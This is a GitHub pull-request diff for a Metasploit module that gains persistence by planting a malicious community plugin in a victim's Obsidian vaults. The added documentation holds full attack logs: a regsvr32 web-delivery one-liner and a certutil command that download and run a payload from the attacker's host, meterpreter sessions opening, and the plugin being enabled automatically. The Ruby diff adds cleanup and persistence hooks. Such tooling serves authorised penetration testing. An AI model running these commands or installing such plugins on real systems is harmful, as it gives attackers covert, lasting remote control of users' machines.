Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view

This file was deleted.

126 changes: 126 additions & 0 deletions documentation/modules/exploit/multi/persistence/obsidian_plugin.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
## Vulnerable Application

This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.

Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and 1.8.4 on Windows 10.

### Debugging

To open the console (similar to chrome), use `ctr+shift+i`.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get a user shell on the target
4. Do: `use multi/persistence/obsidian_plugin`
5. Do: Select a shell which will work on your target OS
6. Do: `run`
7. You should get a shell when the target user opens the vault without restricted mode.

## Options

### NAME

Name of the plugin. Defaults to being randomly generated.

### USER

The user to target. Defaults the user the shell was obtained under.

### CONFIG

Config file location on target. Defaults to empty which will search the default locations.

## Scenarios

### Obsidian 1.8.4 on Windows 10

Get a user shell.

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 3
target => 3
resource (/root/.msf4/msfconsole.rc)> set srvport 8282
srvport => 8282
resource (/root/.msf4/msfconsole.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4646
lport => 4646
resource (/root/.msf4/msfconsole.rc)> set URIPATH w
URIPATH => w
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4646
[*] Using URL: http://111.111.1.111:8282/w
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://111.111.1.111:8282/w.sct scrobj.dll
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] 222.222.2.22 web_delivery - Handling .sct Request
[*] 222.222.2.22 web_delivery - Powershell command length: 3696
[*] 222.222.2.22 web_delivery - Delivering Payload (3696 bytes)
[*] Sending stage (203846 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4646 -> 222.222.2.22:50125) at 2025-02-17 09:00:05 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/obsidian_plugin
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(C:\Users\windows) > getuid
Server username: WIN10PROLICENSE\windows
(Meterpreter 1)(C:\Users\windows) > sysinfo
Computer : WIN10PROLICENSE
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
(Meterpreter 1)(C:\Users\windows) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > set payload payload/cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > exploit
[*] Command to run on remote host: certutil -urlcache -f http://111.111.1.111:8080/xCXtwaKhxivsa8DBsy06mQ %TEMP%\MvboVJyBQSJ.exe & start /B %TEMP%\MvboVJyBQSJ.exe
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/obsidian_plugin) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /xCXtwaKhxivsa8DBsy06mQ
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Using plugin name: kuCPva
[*] Target User: windows
[*] Found user obsidian file: C:\Users\windows\AppData\Roaming\obsidian\obsidian.json
[+] Found open vault 73fefafd47723a1b: C:\Users\windows\Desktop\this_is_my_vault
[*] Uploading plugin to vault C:\Users\windows\Desktop\this_is_my_vault
[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/main.js
[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/manifest.json
[*] Found 4 enabled community plugins (AHBk, CbJt, tjPCOxub9, UOQEhHOR)
[+] Config file saved in: /root/.msf4/loot/20250217091115_default_222.222.2.22_obsidian.communi_029034.txt
[*] adding kuCPva to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250217.1116/WIN10PROLICENSE_20250217.1116.rc
[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ
[*] Sending payload to 222.222.2.22 (Microsoft-CryptoAPI/10.0)
[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ
[*] Sending payload to 222.222.2.22 (CertUtil URL Agent)
[*] Sending stage (203846 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:50145) at 2025-02-17 09:11:41 -0500
```
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,9 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/multi/local/obsidian_plugin_persistence'

def initialize(info = {})
super(
Expand Down Expand Up @@ -41,14 +44,11 @@ def initialize(info = {})
'Arch' => [ARCH_CMD],
'Platform' => %w[osx linux windows],
'DefaultOptions' => {
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
'WfsDelay' => 90_000,
'PrependMigrate' => true
},
'Payload' => {
'BadChars' => '"'
},
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [
['Auto', {} ],
['Linux', { 'Platform' => 'unix' } ],
Expand All @@ -69,6 +69,7 @@ def initialize(info = {})
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
])
deregister_options('WritableDir')
end

def plugin_name
Expand Down Expand Up @@ -213,7 +214,7 @@ def check
CheckCode::Safe('No vaults found')
end

def exploit
def install_persistence
plugin = plugin_name
print_status("Using plugin name: #{plugin}")
vaults = find_vaults
Expand All @@ -229,9 +230,11 @@ def exploit
end
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"

vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))

@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"
# read in the enabled community plugins, and add ours to the enabled list
if file?("#{vault['path']}/.obsidian/community-plugins.json")
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
Expand All @@ -240,6 +243,7 @@ def exploit
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
print_good("Config file saved in: #{path}")
@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"
rescue JSON::ParserError
plugins = []
end
Expand Down